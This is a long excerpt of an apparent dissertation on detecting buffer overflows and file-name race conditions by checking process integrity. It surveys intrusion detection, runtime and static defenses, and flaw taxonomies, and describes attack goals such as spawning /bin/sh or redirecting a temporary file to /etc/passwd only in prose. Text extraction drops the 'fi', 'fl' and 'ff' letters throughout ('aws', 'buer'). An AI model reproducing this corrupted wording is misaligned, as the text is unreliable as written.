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Introduction
1.1 Problem statement
Computer intrusions can occur in various ways. Many of them occur by exploiting program aws
and system conguration errors. Most of them have been well known, but they continue to appear
and be exploited to date. For example, the buer overow vulnerability and the race conditions
have been known for decades, yet are still exploited.
Flawed programs are usually discovered by security advisories. Vendors then release solutions
or patches for the awed programs, or system administrators apply workarounds to prevent the
awed programs from being exploited. Such a discover-and-patch approach is clearly not desirable,
considering the number of awed programs being discovered these days and the eorts to discover
and x them [18, 66], but is still the most prevalent practice.
Many solutions have been proposed to detect program aws automatically. An independent
solution may target a specic type of program aw, detecting it statically before the program is
deployed or dynamically when the program is running. Static solutions are however inherently
complex, because many types of static analysis on C programs are intractable [20, 35]. Dynamic
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solutions are substantially dierent from each other, requiring dierent kinds of augmentation and
modication to the computing environment. They may be incompatible if one solution alters a part
of the computing system but another solution depends on that part. Also, as more solutions are
deployed, they will require substantial and possibly redundant changes in the computing system and
computing practice.
Alternatively, intrusion detection systems can collectively detect various program aws. To de-
tect all kinds of aws, they rely on abstract solution characteristics that are not intrinsic to any of
the aws, thus are inherently inaccurate. For example, an anomaly detection approach by Forrest et
al. [31] models a correct behavior of a running process as a sequence of system calls, and monitors
the process for a deviation from known sequences. However, this approach requires that all the valid
sequences of system calls of a program should be known, otherwise false positives may arise. Unfor-
tunately, identifying the complete sequences of system calls of a program is undecidable [56]. Also,
false negative may arise if an attack code (which is injected through a buer overow vulnerability
for example) comprises a system call sequence that happens to be valid. Moreover, attackers can
even adapt in response to the intrusion detection system deployed, such as the mimicry attack [105]
(the attacker injects a malicious code, which generates a valid sequence of system calls for the victim
program).
The other two kinds of intrusion detection systems, misuse detection and specication-based
approaches, rely on the characteristics of specic instances of the aws, or the error signatures,
rather than the characteristics of the aws themselves. For example, a specication-based approach
by Sekar et al. [90] requires users to specify events to be monitored. An example of such an event
is a statement \access() and open() calls must be atomic if they refer to the same le", to detect
race conditions. However, to fully detect race conditions, all the possible events pertaining to race
conditions (which may be prohibitively many) have to be manually specied by the user. Also, the
accuracy and eciency depend on the expertise of the practitioners.CHAPTER 1. INTRODUCTION 3
More seriously, these approaches rely on limited information sources such as system call traces or
log les. They tend to choose a few sources that are likely to be informative for many (present and
future) attacks, but without having in mind the nature of any particular aw. As a consequence,
for example, Sekar's approach cannot directly detect buer overow attacks (doing which requires
the knowledge of the data layout in the process memory, which is absent in these approaches).
Instead, it resorts to monitor specic programs that are known to be vulnerable to buer over-
ow: for instance, an event to protect finger program from buer overow is a statement that
\finger program can only call execve(``/usr/ucb/finger'')" (meaning that finger cannot call
execve(``/bin/sh''), which the attacker might wish to achieve through a buer overow attack).
In this case, enumerating all the possible events pertaining to buer overow is impossible. In other
words, these approaches will always be porous in combating the buer overow vulnerability, as a
result of dealing with the symptoms of the aw, not the aw itself.
In sum, no single solution is capable of detecting all the aws, so multiple security measures may
be desirable. However, aggregate use of independent solutions is either infeasible due to incompat-
ibility, or undesirable due to substantial alteration to the computing system. Intrusion detection
systems may not be the answer either, because they are inherently inaccurate and susceptible to
false positives/negatives. To address this problem, we need a mechanism that can produce many
accurate security modules as necessary in a systematic and compatible way.
1.2 Motivation
Motivation of our work is based on the observation that the existing computing environment such
as the compiler and the system libraries largely ignores security issues when producing and running
processes, in favor of the eciency in process execution. For example:
1. Most compilers aim to produce small and ecient executable les, leaving out much informa-
tion in source les. For example, type information of program variables is not necessary forCHAPTER 1. INTRODUCTION 4
program execution and thus discarded after the compilation (except as an optional debugging
information in the symbol table). As a result, in executable les program variables are just
memory addresses without their structural or semantic information.
2. Many system library functions do not sanity check the parameter values, and therefore it
is programmers responsibility to validate that the values are structurally and semantically
correct. While this may be a desirable practice for maximum program eciency (since each
system library function is lean and fast), it may also be undesirable for program security and
robustness because it is error prone.
3. Most system library functions are stateless, free from side eect. This is generally considered a
desirable practice in designing system library functions (since they are simple and reentrant).
However, a trace of those functions may reveal much contextual information of a process,
considering that system resources are accessed via system library functions and the underlying
system calls.
Therefore, it is possible to make processes more secure if we retain and make use of such ignored
information. In other words, utilizing this information may enable us to detect more kinds of aws
accurately and eciently.
1.3 Process integrity checking approach
We present a taxonomy of security aws that classies program vulnerabilities into nite number of
error categories, and present a mechanism that produces accurate solutions for many of these error
categories in a modular fashion.
Specically, our approach augments a program with process state information ignored by the
compiler and system library functions, and uses it to check the integrity of the running program
when system library functions are called.CHAPTER 1. INTRODUCTION 5
To be accurate, a solution should closely match the characteristic of the target error category.
To ensure this, we focus only on error categories whose characteristics can be directly converted into
solution characteristics. We identify such a class of error/solution characteristics, and call it the
process integrity checking.
Our approach is therefore applicable only to such error categories. However, by ensuring the
accuracy of each solution, we can globally assess the security of the computing system (i.e., which
error categories are detected by the currently deployed solutions and which are not). Note that it
is not feasible with intrusion detection systems: they cover many kinds of aws but their solutions
are porous.
The main contributions and novelty of this work are:
1. We close the total error space into nite number of categories, and address each error category
in a modular fashion. It enables us to quantitatively assess the security of the computing
system (i.e., how many of the error categories the current system is safe from), and to produce
solutions that are compatible each other.
2. We identify a class of error characteristics, from which accurate solutions can be directly
derived. In other words, we ensure the accuracy of each solution.
1.4 Thesis statement
The thesis of this work is that the proposed approach produces accurate solutions for many error
categories.
To prove the accuracy of solutions, we dene the process integrity checking approach and analyze
its properties in chapter 3. To prove that this approach can cover many error categories, we develop a
classication of program security aws and nd error characteristics (in terms of a process integrity)
from many of these categories in chapter 4.CHAPTER 1. INTRODUCTION 6
The compatibility of solutions is ensured by imposing restrictions on the implementation of
solutions, so that a solution can be safely added to the computing system with other solutions
already installed. We discuss such restrictions in chapter 3.
1.5 Dissertation outline
The rest of the dissertation is organized as follows. Chapter 2 discusses existing solutions for de-
tecting program aws and taxonomies of security aws, summarizing their limitations. Chapter 3
presents the process integrity checking approach, describing the policy and the mechanism for pro-
ducing solutions, and explains how we prove the thesis statement. Chapter 4 presents our taxonomy
of security aws, and nd error characteristics from many of these categories. Chapter 5 and 6
present proof-of-concept solutions. Chapter 5 shows our solution for the buer overow vulnera-
bility. This chapter also shows how the underlying error characteristic may be extended (should
a need for it arise in a special occasion). Chapter 6 shows our solution for the race condition in
the le name space. This chapter is an example of how to derive a solution for an error category,
whose error characteristic does not allow a direct derivation of a solution (derivability of a solution
is explained in chapter 3). At the end of chapter 5 and 6 we discuss the accuracy of our solutions.
Chapter 7 demonstrates how these two solutions detect the target aws. Chapter 8 presents the
conclusions and discusses the direction of our future work.Chapter 2
Related work
In this chapter we discuss existing approaches of detecting program aws and existing taxonomies
of security aws. We discuss intrusion detection systems, and solutions for the buer overow
vulnerability and the race condition in the le name space.
2.1 Intrusion detection systems
Intrusion detection systems can be categorized as either anomaly detection, misuse detection or
specication-based detection, depending on the detection mechanism.
1. Anomaly detection approach
Anomaly detection approach [50, 100, 32, 31] assumes that attacks will result in behavior
dierent from that of normally observed. Anomaly detection approach creates a prole that
describes normal behavior of users, and detects program behavior that deviates from the prole.
Normal proles are created from audit trails or system call trace without a specic knowledge
of the security aws.
2. Misuse detection approach
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Misuse detection approach [36, 44] uses patterns of known attacks provided by users. To detect
intrusions it matches the audit trails generated by the system with the predened patterns
(signatures) of known attacks. Misuse detection approach is more accurate and ecient than
anomaly detection approach, but it may not detect unknown or future attacks and requires
users to specify patterns of attacks.
3. Specication-based approach
Specication-based approach [40, 90] uses the program's intended behavior as dened by users.
To detect intrusions it monitors program execution for deviations from the dened program be-
havior. Unlike misuse detection approach, it may detect previously unknown attacks. However
it also requires users to specify normal program behavior.
2.1.1 Limitations
Accuracy, eciency and transparency
The anomaly detection is applicable to broad classes of security aws, since it does not require specic
knowledge of aws or attacks. However, it is dicult to precisely dene normal user behavior because
it may be highly erratic and can change over time. Therefore anomaly detection is susceptible to
false positives and negatives. It relies on indirect and circumstantial data such as audit trails or
system call trace, which may be either incomplete or redundant; incomplete information may result
in inaccuracy, and redundancy may result in ineciency. It also requires prior learning stage and
may have to be calibrated for the target system, thus is not transparent.
Misuse detection and specication-based detection may be more accurate because they are based
on attack signatures or normal program specications. However, they are not transparent because
they require users to specify attack signatures and program specications. Such knowledge might
not be easy to obtain and needs to be maintained as new attacks are discovered and as programs
are added and updated.CHAPTER 2. RELATED WORK 9
2.2 Solutions for specic program aws
2.2.1 Buer overow vulnerability
Run-time stack integrity checking
The stack-smashing attack (described in detail in section 5.2.1) overwrites the buer, the return
address and everything in between. StackGuard [25] is a GNU C compiler extension that inserts
a canary word between the return address and the buer so that an attempt to alter the return
address can be detected by inspecting the canary word when the function returns. Programs need
to be recompiled with StackGuard in order to be protected.
StackShield [96] is also a GNU C compiler extension that protects the return address. When
a function is called, StackShield copies away the return address to a non-overow-able area, and
restores the return address upon returning from the function. Even if the return address on the stack
is altered, it has no eect since the original return address is remembered. As with StackGuard,
programs need to be recompiled.
Libsafe [9] intercepts the vulnerable copy functions in the C library such as strcpy(), and
performs the bounds checking to ensure that they do not overwrite the return address. It is based
on the notion that the buer cannot extend beyond its stack frame. Thus the maximum size of a
buer is the distance between the address of the buer and the frame pointer. Libsafe is implemented
as a shared library that is preloaded to intercept C library function calls. Programs are protected
without recompilation, unless they are statically linked with the C library or have been compiled
to run without the frame pointer (it needs to walk up the stack using the saved frame pointers in
the stack). Libsafe protects only those C library functions, whereas StackGuard and StackShield
protect all functions.CHAPTER 2. RELATED WORK 10
Run-time array range checking
The advantage of the array bounds checking approach is that it completely eliminates the buer
overow vulnerability. However, it is also the most expensive solution, particularly for the pointer
and array operation-intensive programs, since every pointer and array operation must be checked.
For this reason, it may not be suitable for a production system.
The pointer and array access checking technique by Austin et al. [8] is a source-to-source trans-
lator that transforms C pointers into the extended pointer representation called safe pointer, and
inserts access checking routines before pointer or array dereferencing operations. The safe pointer
contains elds such as the base address, its size, and the scope of the pointer. Those elds are used
by access checks to determine whether the pointer is valid and within the range. Since it changes
pointer representation, it is not compatible with existing programs.
The array bounds and pointer checking technique by Jones and Kelly [38] is an extension to the
GNU C compiler that imposes access checks on C pointers and arrays. Instead of changing pointer
representation, it maintains a table of all the valid storage object description containing information
such as base address, size, etc. Information about the heap variables is entered into the table via
the modied malloc() and deleted from the table via the modied free(). Information about
the stack variables is entered into/deleted from the table by the constructor/destructor function,
which is inserted inside a function denition at the point at which stack variables enter/leave the
scope. The access checks are done by substituting pointer and array operations with the functions
that perform bounds checking. Since native C pointers are used, this technique is compatible with
existing programs.
Purify, by Hastings and Joyce [34], is a commercially available run-time memory access error-
checking tool. An advantage of Purify is that it inserts access-checkingcode into the object code with-
out requiring source code access. It checks all the memory access, memory allocation/deallocation,
and function calls, and it maintains states of memory blocks (allocated, initialized, etc.) to catchCHAPTER 2. RELATED WORK 11
temporal errors such as dangling pointers. Array bounds are checked by marking both ends of a
memory block returned by malloc(). Purify, however, lacks type or scope information that is avail-
able only at the source level, so it cannot detect some of the errors, such as buer overow within a
malloc() memory block.
Static analysis
Static analysis techniques have several advantages over run-time techniques. They do not incur
run-time overhead and they narrow down the vulnerabilities specic to the source program being
analyzed, yielding a more secure program before it is deployed. However, a pure static analysis
can produce false alarms due to the lack of run-time information. For example, gets() reads its
input string from stdin, so the size of the string is not known at compile time. For such a case
a warning is issued as a possible buer overow. In fact, all the legitimate copy operations that
accept their strings from unknown sources (such as a command line argument or an I/O channel)
are agged as possible buer overows (since they are indeed vulnerable). Without further action,
those vulnerabilities are identied, but still open to attack. Moreover, many static analysis are
undecidable [20, 35].
The integer range analysis by Wagner et al. [104] is a technique that identies possible buer
overow in the vulnerable C library functions. A string buer is modeled as a pair of integer ranges
(lower and upper bound) for its allocated size and its current length. A set of integer constraints
is predened for a set of string operations (e.g., character array declaration, vulnerable C library
functions, and assignment statements involving them). Using those integer constraints, the technique
analyzes the source code by checking each string buer to nd out if its inferred allocated size is at
least as large as its inferred maximum length.CHAPTER 2. RELATED WORK 12
Static analysis with run-time checking
The obvious advantage of this approach is that it has access to run-time information as well as to the
program contextual information from the static analysis. Solutions based on this approach perform
static analysis on the source programs and insert run-time checks on them if the safety cannot be
determined with compile-time information. Compared with range-checking systems, this approach
minimizes run-time overhead by eliminating unnecessary run-time checks.
The annotation-assistedstatic analysis technique by Larochelle and Evans [46] based on LCLint [28]
uses semantic comments, called annotations, provided by programmers to detect possible buer over-
ow. For example, annotations for strcpy() contain an assertion that the destination buer must
be allocated to hold at least as many characters as are readable in the source buer. This tech-
nique protects any annotated functions, whereas the integer range analysis only protects C library
functions. However, it requires programmers to provide annotations.
CCured by Necula et al. [33] translates the source program in C into a CCured program. It
extends C pointers into CCured pointer types (safe, sequence, and dynamic) through a constraint-
based type-inference algorithm, and inserts run-time checks according to the class of the pointers
and the operations on them (where static analysis cannot determine safety).
Cyclone, by Jim et al. [37], is a safe dialect of C. It also extends the C pointer type so that an
ecient run-time check can be performed, depending on the use of pointers (a \never-NULL" pointer
indicates that a NULL-pointer check is unnecessary, and a fat pointer carries bounds information to
enable bounds checks). Other enhancements by Cyclone include 1) prevention of dangling pointers
through the programmer-supplied annotations (region analysis) and through the scoped dynamic
memory management (grow able region) that frees the region block automatically rather than by
free(), and 2) protecting variadic functions using tagged union (stacked parameters for printf()
carry their type information). A disadvantage is that programs have to be ported to Cyclone.CHAPTER 2. RELATED WORK 13
Memory protection by operating system
The stack-smashing attack injects an attack code into the stack, which is executed when the function
returns. One of the core features of the Linux kernel patch from the Openwall Project [93] is to
make the stack segment non-executable so as to defend from the stack smashing attack (discussed in
section 5.2.1). Another feature is to map into the address space the shared libraries such that their
addresses always contain zero bytes, in order to defend from return-into-libc attacks (discussed in
section 5.2.2). That is, if the address of a function (i.e., the attack code) is to be delivered through
a null-terminated string function (such as strcpy()), the zero byte in the middle of the function
address will terminate the copying [94]. It does not impose any performance penalty or require
program recompilation except for the kernel. There are a few occasions that require the stack to
be executable, which include nested functions (a C language extension by the GNU C compiler)
and Linux signal handler. Both are emulated by the Linux kernel patch. Programs that require
executable stack can be made to run individually, using the included utility program.
PaX [60] is a page-based protection mechanism that marks data pages as non-executable. Unlike
the Linux kernel patch from the Openwall Project, PaX protects the heap as well as the stack. Since
there is no execution permission bit on pages in the x86 processor, PaX overloads the supervisor/user
bit on pages and augments the page fault handler to distinguish the page faults due to the attempts
to execute code in data pages. As a result, it imposes a run-time overhead due to the extra page
faults. PaX is also available as a Linux kernel patch. As with the Openwall Project, Pax is not
completely transparent to existing programs since some programs may require the heap or the stack
to be executable. For example, an interpreter such as Java might cache machine instructions in
the heap and execute from there for performance. Pax also can map the rst loaded library at a
random location in the address space in order to defend from return-into-libc exploits (since the
address of a C library function cannot be known in advance this way) [53]. Other systems that
provide non-executable stack and heap on Linux are RSX [63] and kNoX [39]. They also share theCHAPTER 2. RELATED WORK 14
disadvantage of Openwall Project and PaX that programs requiring executable stack or heap cannot
run transparently.
2.2.2 Race condition in the le name space
Run-time checking
RaceGuard [24] is a kernel enhancement that detects at run-time the attacks on the temporary le
race vulnerability (the most common among race condition in the le name space). The temporary
le race vulnerability occurs when a privileged program seeking to create a temporary le rst
probes for a new temporary le name using stat() or lstat(), and then calls open(O CREAT) to
create the le (either directly or via functions such as mktemp(), tmpnam() or tempnam()). If the
attacker can make the new le name to be a link to e.g., ``/etc/passwd'' (between the vulnerable
timing window), then the password le will be opened instead. RaceGuard detects such attacks
by monitoring the stat() and open() call. If the stat() fails (i.e., the le does not exist) then
RaceGuard caches the le name. If a subsequent open() with the same le name discovers that the
le does exist then RaceGuard detects a race attack. RaceGuard also partially detects the temporary
le race vulnerability spanning multiple processes (described in section 6.2.4), by mediating fork()
to inherit the cache from parent to child process. RaceGuard has very low run-time overhead, but
it may be vulnerable to other types of race condition in the le name space than the temporary le
race vulnerability.
Ko and Redmond [41] proposed a run-time solution based on the concept of noninterference in
detecting race condition attacks. In their approach, the race condition detection problem is cast to
the problem of asserting noninterference between the operations by the privileged process and the
operations by the unprivileged processes. To assert noninterference, the commutation property has
to be maintained; that is, when the order of a privileged command and an unprivileged command is
reversed, the result of the privileged command should not be modied. They monitor system callsCHAPTER 2. RELATED WORK 15
such that each system call from the privileged process is checked to see if it commutes with the
list of previous le operations by unprivileged processes. Since in their approach it does not matter
from which process the operation is originated (they only distinguish operations by the privileged
process from those by unprivileged ones), it can naturally detect race conditions that span multiple
processes. It was not mentioned exactly which classes of vulnerabilities can be detected, but the
current implementation seems to focus on race condition in the le name space. The time and space
overheads (for example, the size of the list of previous le operations by unprivileged processes) are
not provided in their paper.
Tsyrklevich and Yee [101] proposed a run-time detection technique that keeps track of lesystem
operations, and temporarily suspends le operations that may interfere with other le operations. To
detect possible interfering le operations, they provided policies based on heuristics, which are pairs
of le operations that are prone to race condition or known to be safe. Their solution is ecient and
eective in practice, but nevertheless susceptible to false positives and negatives since the policies
are based on heuristics. On true positives, it temporarily suspends other interfering le operations
for heuristically determined period, which might not be enough to eliminate the race condition.
Static analysis
Bishop and Dilger [14] dened and characterized a class of race condition called the Time-of-check-
to-time-of-use (TOCTTOU) binding aws using the denitions of the programming condition, the
programming interval, and the environmental condition (section 6.1). They proposed a static ana-
lyzer that automatically identies the programming conditions in the program, the environmental
conditions of which are then manually analyzed. They also pointed out the diculties in the static
approach. It is dicult to identify precisely the programming conditions in a program (discussed
in section 6.5.1). The environmental conditions are also dicult to prove statically since a precise
analyzer requires a complete representation of the environment induced by the le system, which isCHAPTER 2. RELATED WORK 16
unlikely to be obtained at compile time in practice. Moreover, static approach is usually undecid-
able [14].
Chess [21] proposed a static analyzer called Eau Claire, which uses function specications that de-
ne security properties. Users specify security properties of a function using precondition/postcondition
expressions and a list of specication variables. The source code and the security specication are
translated into a series of verication conditions, which then goes through the automatic theorem
prover to check if the source code conforms with the security specications. Eau Claire can handle
larger classes of vulnerabilities than race condition in the le name space, depending on how the
security specications are written (the paper provided two specications, a buer overow and a
race condition on the le name space in lpr that was distributed with Redhat Linux versions 4.1
- 6.1 [3]). Due to the complex nature of static analysis and the ambiguity in the semantics of the
C language, Eau Claire can produce false negatives and false positives. The security specications
and the result of the theorem prover have to be written and reviewed manually by the user.
Stricter le access control
A Linux kernel patch from the Openwall Project [93] places restrictions on le operations so that
exploiting race vulnerabilities becomes more dicult. It prevents a process from following a symbolic
link in a directory with the sticky (+t) bit set (e.g., /tmp directory), unless the link owner is trusted
(i.e., the link owner either has the same user id as the process or owns the directory). In order to
protect from attacks by hard links, it does not allow users to create hard links to les they don't
own unless they can read and write to the le. The Openwall Project is a preventive technique
(it makes the environmental condition narrower), rather than a detection technique, that imposes
extra protection on directories that are known to be common targets such as /tmp. However, the
restrictions might cause existing programs to fail if they violate any of the restrictions.CHAPTER 2. RELATED WORK 17
Package Counted lines Percent omitted
wu-ftpd-2.4 6613 8.65%
net-tools-1.33 8493 9.73%
sshd-1.2.26 21336 15.45%
sendmail-8.9.3 37124 17.95%
apache-1.3.9 60543 27.54%
Table 2.1: Percentage of program code that is omitted by preprocessing.
2.2.3 Limitations
Practicality of static analysis
Traditional compilation scheme is a per-build basis. Each source le is individually analyzed and
compiled into an object le. This makes it dicult to perform static analysis spanning multiple
source les, such as interprocedural analysis.
Preprocessing also makes static analysis dicult, since source les may be preprocessed in many
ways depending on the build conguration. There is currently no known technique for parsing C
and C++ programs with preprocessor directives into a single abstract syntax tree. We want to
check every possible build of the program, but in principle the possibilities of every combination of
preprocessor directives grows exponentially. Table 2.1 shows ve programs that were preprocessed
with default congurations, and the number of lines that were not compiled after the preprocessing.
The minimum number of line that were omitted was 8.65%, or 91.35% of statement coverage, which
cannot be considered adequate [102].
More importantly, static analysis are inherently complex because many types of static analysis
on C programs are intractable [20, 35]. Although many static analysis techniques are proposed,
they compromise either the accuracy in favor of the speed or vice versa. For example, Steensgaard's
algorithm [98] is a ow-insensitive, context-insensitive alias analysis. It is a fast algorithm (almost
linear time), but at the cost of accuracy. The time saved by a fast but inaccurate static analysis
may also aect adversely to the overall static analysis phase. For instance, a control ow graphCHAPTER 2. RELATED WORK 18
generated using the Steensgaard's algorithm may be redundantly dense so that further analysis on
the graph would be inecient. Anderson's algorithm [5] is a ow-sensitive, context-insensitive alias
analysis. It is more accurate than the Steensgaard's algorithm, but is a cubic algorithm that might
be too slow for large programs.
Compatibility and scalability in run-time techniques
Run-time techniques are substantially dierent from each other, requiring augmentation and modi-
cation to dierent parts of the computing environment. Aggregate use of such independent solutions
therefore result in considerable change in the current computing practice. They are unaware of each
other and thus their functionalities may overlap, which implies they may accumulate overhead more
than necessary. In sum, they may be obtrusive to the target system, and aggregate use of them may
not scale well.
2.3 Taxonomies of security aws
In this section we discuss ten existing taxonomies of security aws.
2.3.1 Research in Secured Operating Systems
The classication from the Research in Secured Operating Systems (RISOS) project [2] characterized
operating system security aws. The classication consists of seven categories as follows 1.
1. Incomplete parameter validation
2. Inconsistent parameter validation
3. Implicit sharing of privileged/condential data
1There are subcategories for each category. However the level of abstractions of the subcategories are about the
same as these categories, so we do not consider them. For example, the incomplete parameter validation has three
subcategories; inadequate validation, not properly reiterated validation and failure of validation in all conditions.CHAPTER 2. RELATED WORK 19
4. Asynchronous validation/inadequate serialization
5. Inadequate identication/authentication/authorization
6. Violable prohibition/limit
7. Exploitable logic error
2.3.2 Protection analysis
The objective of the protection analysis [12] is to derive generalized error patterns to automate
detecting program aws. The categories are as follows.
1. Domain errors
(a) Exposed representation errors
(b) Attribute residual errors
(c) Composition residual errors
(d) Domain errors
2. Validation errors
(a) Queue management/boundary errors
(b) Validation errors
3. Naming errors
(a) Access residual errors
(b) Naming errors
4. Serialization errors
(a) Multiple reference errorsCHAPTER 2. RELATED WORK 20
(b) Interrupted atomic operator errors
(c) Serialization errors
2.3.3 Classication by Neumann
Neumann [55] characterized common security aws, which can be used to develop a formal method-
ology in building more secure systems. He identied nine categories based on the classication by
the protection analysis [12], organized in four generic groups.
1. Protection
(a) Improper choice of protection domain or security partition
(b) Exposed representations or implementation detail
(c) Inconsistency of data over time
(d) Naming problems
(e) Residues in allocation and deallocation
2. Validation
(a) Nonvalidation of critical conditions and operands
3. Sequencing
(a) Indivisibility problems (in multiprogramming)
(b) Serialization problems (in multiprogramming, multiprocessing)
4. Operation choice
(a) Incorrect choice of operation or operandCHAPTER 2. RELATED WORK 21
Defect type Description Software de-
velopment
stages
Function errors They are errors that require a formal design change. Design
Assignment errors They indicate a few lines of code, such as the initializa-
tion of control blocks or data structure.
Code
Interface errors They are errors in interacting with other components,
modules or device drivers via macros, call statements,
control blocks, or parameters.
Low level de-
sign
Checking errors They are errors that fail to properly validate data before
use.
Low level de-
sign or code
Timing/serialization
errors
They are errors that are corrected by improved manage-
ment of shared and real-time resources.
Low level de-
sign
Build/package/merge
errors
They are errors due to mistakes in library systems, man-
agement of changes, or version control.
Library tools
Documentation
errors
They are errors in publications and maintenance notes. Publication
Algorithm errors They indicate eciency or correctness problems that do
not require a design change.
Low level de-
sign
Table 2.2: The Orthogonal Defect Classication.
2.3.4 Orthogonal Defect Classication
Orthogonal Defect Classication (ODC) [22] categorizes software defects and associates them with
the software development stages, in order to provide timely feedback during the development process.
ODC identied eight categories called defect types, which is shown in Table 2.2.
The selection criterion of the categories is the necessary activity in xing the aw (as the descrip-
tions in Table 2.2 imply). The categories are highly correlated with software development stages,
but not necessarily with the cause or the nature of aws.
2.3.5 Classication by Landwehr et al.
Classication by Landwehr et al. [45] is based on three selection criteria.
 Genesis (how did the aw enter the system?)
 Time of introduction (when did it enter the system?)CHAPTER 2. RELATED WORK 22
Genesis
Intentional
Malicious
Trojan
Horse
Non-replicating
Replicating
Trapdoor
Logic/Time bomb
Non-
Malicious
Covert
Channel
Storage
Timing
Other
Inadvertent
Validation Error (Incomplete/ Inconsistent)
Domain Error (including Object reuse, Residuals, and Exposed
representation errors
Serialization/aliasing (including TOCTTOU errors)
Identication/Authentication Inadequate
Boundary Condition Violation (including Resource exhaustion
and Violable constraint errors)
Other exploitable logic error
Table 2.3: Flaw by Genesis in the classication by Landwehr et al.
 Location (where in the system is it manifest?)
Their goal is to provide the understandable record of security aws so that systems can be
designed, evaluated and operated more securely. As Du and Mathur [27] mentioned, multidimen-
sional classication (i.e., using multiple selection criteria of categories) is desirable since it preserves
the properties of the error, some of which might have to be thrown away had a unidimensional
classication been used. Table 2.3 shows the classication of the aws by genesis.
2.3.6 Classication by Bishop
The classication by Bishop [13] describes vulnerabilities in order to present techniques for nding
and inhibit/eliminate such vulnerabilities. The classication is based on the six selection criteria
as follows, the highest dimension among existing taxonomies, preserving considerable amount of
properties of the error. Bishop discusses the error and solution characteristics of each of nine
categories in the rst axis (Nature of the aw).
 Nature of the aw, using the classication by the protection analysis [12]CHAPTER 2. RELATED WORK 23
 Time of introduction, using the modied time of introduction in the classication by Landwehr
et al.
 Exploitation domain of the vulnerability
 Eect domain
 Minimum number of components needed to exploit the vulnerability
 Source of the identication of the vulnerability
2.3.7 Classication by Aslam, Krsul and Spaord
Classication by Aslam, Krsul and Spaord [7] is provided for organizing a vulnerability database.
The classication consists of the following categories.
1. Coding faults
(a) Synchronization errors
(b) Condition validation errors
2. Emergent faults
(a) Conguration errors
(b) Environment faults
The categories are highly generic. They provided some guidelines and a set of questions to help
the classication process, which however are not part of the taxonomy.
2.3.8 Classication by Du and Mathur
Classication by Du and Mathur [27] is provided for evaluating the eectiveness of software test-
ing techniques. The objective is to preserve the necessary feature of the vulnerabilities and avoid
ambiguities in the selected categories. The classication is based on three selection criteria as follows.CHAPTER 2. RELATED WORK 24
 Cause (modied genesis axis of the classication by Landwehr et al. [45])
1. Validation error
2. Authentication error
3. Serialization/aliasing error
4. Boundary checking error
5. Domain error
6. Weak or incorrect design error
7. Other exploitable logic error
 Impact
1. Execution of code
2. Change of target resource
3. Access the target resource
4. Denial of service
 Fix
1. Spurious entry
2. Missing entity
3. Misplaced entity
4. Incorrect entity
2.3.9 Classication by SecurityFocus
Classication by SecurityFocus [67] is used in classifying the vulnerabilities in the Bugtraq mailing
list. The classication consists of ten categories as follows.CHAPTER 2. RELATED WORK 25
1. Boundary Condition Error
2. Access Validation Error
3. Input Validation Error
4. Origin Validation Error
5. Failure to Handle Exceptional Conditions
6. Race Condition Errors
7. Serialization Errors
8. Atomicity Errors
9. Environment Errors
10. Conguration Errors
2.3.10 Classication of race condition
Netzer and Miller [54] characterized the race condition with a formal model and explored the prop-
erties. They recognized two fundamentally dierent types of races.
1. General races
They cause nondeterministic execution and are failures in programs intended to be determin-
istic. They may occur where a set of processing units (processes or threads) are intended to
be cooperative for a global task and thus loosely synchronous. Many scientic programs fall
into this class.
2. Data races
They cause non-atomic execution of critical sections and are failures in (nondeterministic)
programs that access and update shared data in critical sections. They may occur whereCHAPTER 2. RELATED WORK 26
processing units are independent and thus basically asynchronous with each other except when
accessing shared data. Programs with shared work-pools fall into this class.
2.3.11 Limitation
Generic and abstract categories
Their categories are too generic and abstract to dene their characteristics and to nd correctness
relation from. For example, with a generic category such as input validation errors we cannot
accurately dene its characteristics, let alone its correctness relation. Also, generic categories do
not carry much information, so understanding the exact nature of a program aw, classied under
a generic category, is time-consuming and error-prone.
Outdated categories
Existing taxonomies are derived from outdated program aws. None of the existing taxonomies are
orthogonal, i.e., the selection of categories were largely based on the specic database of program
aws. However, types of program aws (as well as the frequency of their occurrences) change as
computing environment and programming practice change over time. Therefore, existing taxonomies
may not naturally express some of the current program aws.Chapter 3
Process integrity checking
This chapter describes the process integrity checking approach. Firstly, we describe the process
integrity checking as a generic policy in detecting many error categories accurately. Secondly, we
describe the mechanism to implement solutions for many error categories, specifying where to obtain
necessary process state information and at which points in the program ow a solution can perform
integrity checking.
3.1 The policy
To be accurate, the characteristic of a solution should closely match the characteristic of the target
error category. To ensure this, we focus only on error categories whose characteristics can be directly
converted into solution characteristics. We dene a class of such error characteristics as follows.
Denition 3.1 (Correctness relation). A correctness relation is a relation among one or more
process state values that must hold true during the process execution (were it not for the target
error category). Specically, no instance of the error category occurs i the relation is true (no false
negatives), and an instance of the error category occurs i the relation is false (no false positives).
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Error category
Solution
Correctness relation
Implement
Derive
Identify
Verification algorithm
Figure 3.1: Producing a solution for an error category.
By denition, a correctness relation is free from false positives and negatives. For example, a
correctness relation for the buer overow vulnerability is buer size  data size.
We dene a class of solution characteristics that are directly derived from correctness relations
as follows.
Denition 3.2 (Verication algorithm). A verication algorithm of a correctness relation is a
mapping of the abstract process states to concrete data structures, and a mapping of the abstract
relation to a set of concrete procedures that express the relation.
By denition, a verication algorithm is logically equivalent to the corresponding correctness
relation. The signicance of a verication algorithm is that it is dened to be implementable.
Figure 3.1 illustrates how we produce a solution. Firstly, we rst identify a correctness relation
(an error characteristic) for the target error category. Secondly, we derive a verication algorithm
(a solution characteristic) from the correctness relation. Lastly, we implement a solution from the
verication algorithm. We collectively call such verication activities the process integrity checking.CHAPTER 3. PROCESS INTEGRITY CHECKING 29
3.1.1 Identifying correctness relations
Identifying a correctness relation of an error category depends on the nature of the error category and
the developers' expertise on it. Currently we do not have an automatic solution to nd correctness
relations from error categories: it is an \art" of practitioners.
The intrinsic characteristic of some error categories may not be dened in terms of relations in
process state values. Our approach is not applicable to such error categories.
3.1.2 Deriving verication algorithms
Deriving a verication algorithm from a correctness relation is always possible: it is a direct mapping
of a logical expression, which is independent of the structure of the computing system, into equivalent
data structures and procedures. However, recall that a solution produced from our approach targets
an error category. That is, the solution must be program context-independent. Therefore, to derive
a (program context-free) verication algorithm, the corresponding correctness relation should be
program context-free. From this, the derivability of verication algorithm is dened as follows.
Axiom 3.1 (Derivability). A verication algorithm can be derived from a program context-
independent correctness relation.
However, it may be possible to relax a program context-dependent correctness relation into a
context-free one, and thus derive a verication algorithm. Such a relaxed verication algorithm
is however less accurate and ecient, because the solution characteristic is now farther from the
intrinsic error characteristic. Nevertheless a relaxation may still be practically accurate (depending
on the expertise of the developers on the target error category) and thus broaden the coverage of
